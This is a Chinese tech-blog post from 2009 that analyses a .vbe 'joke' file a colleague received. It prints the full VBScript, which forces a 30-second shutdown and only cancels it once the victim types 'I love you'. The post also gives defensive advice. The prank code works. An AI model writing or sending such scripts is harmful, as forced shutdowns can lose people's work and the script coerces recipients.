常州网络公司首页 >>> WINDOWS >> 个人系统操作

.VBE病毒,弹出问题后,自动关机

发布时间:2009-11-16 10:28:28   浏览次数:5443

前几天,我吃完午饭回来,我同事就把,他的一个客户发了个病毒,开始说是什么笑话。他一点上档了。中木马了,怎么办,我说查啊,有木马专杀的,她说他查了,那个发病毒的人,还说他还能控制她,问:中木马了,别人就能控制了?我说,有这种可能的,你查一下。她说,查了没有。

我后台直接手动看了一下,找了一圈,没发现什么异常。后来她把那人发过来的文件一看,是.vbe为后缀的,用记事本打开一看代码如下:


 on error resume next
 dim WSHshellA
 set WSHshellA = wscript.createobject("wscript.shell")
 WSHshellA.run "cmd.exe /c shutdown -s -t 30 -c ""说我爱你,不说我爱你就30秒关你机,不信,试试 时间就是金钱 速度···"" ",0 ,true 
 dim a
 do while(a <> "我爱你")
 a = inputbox ("说我爱你,就不关机,快撒,说 ""我爱你"" ","说不说","不说",8000,7000)
 msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
 loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true 
msgbox chr(13) + chr(13) + chr(13) + "哈哈,你说你爱我的哦!"


看了这个代码你知道了吧。这个代码只是让你加答问题,不回答或回答错误,那就自动关机,没有什么木马,只是让关机了。

如果你想防止这种病毒,你就在注册表里找到wscript.shell这一项,把这名字改成其他名字,就可以了。

别处提醒一下,不管什么人发一些奇怪的文件,给你,你不要随便打开,要考虑考虑打打开。

上一条:查看邮箱解析是否生效
下一条:如果去除千千静听的广告,总是出现http://go.maxreturn.cn这个网址的广告
首页 | 在线留言 | 网站地图

CopyRight ©2008-2014   糊涂蛋技术网    苏ICP备05013073号
站长:万创   QQ:54960248  E-mail:xlxcn#126.com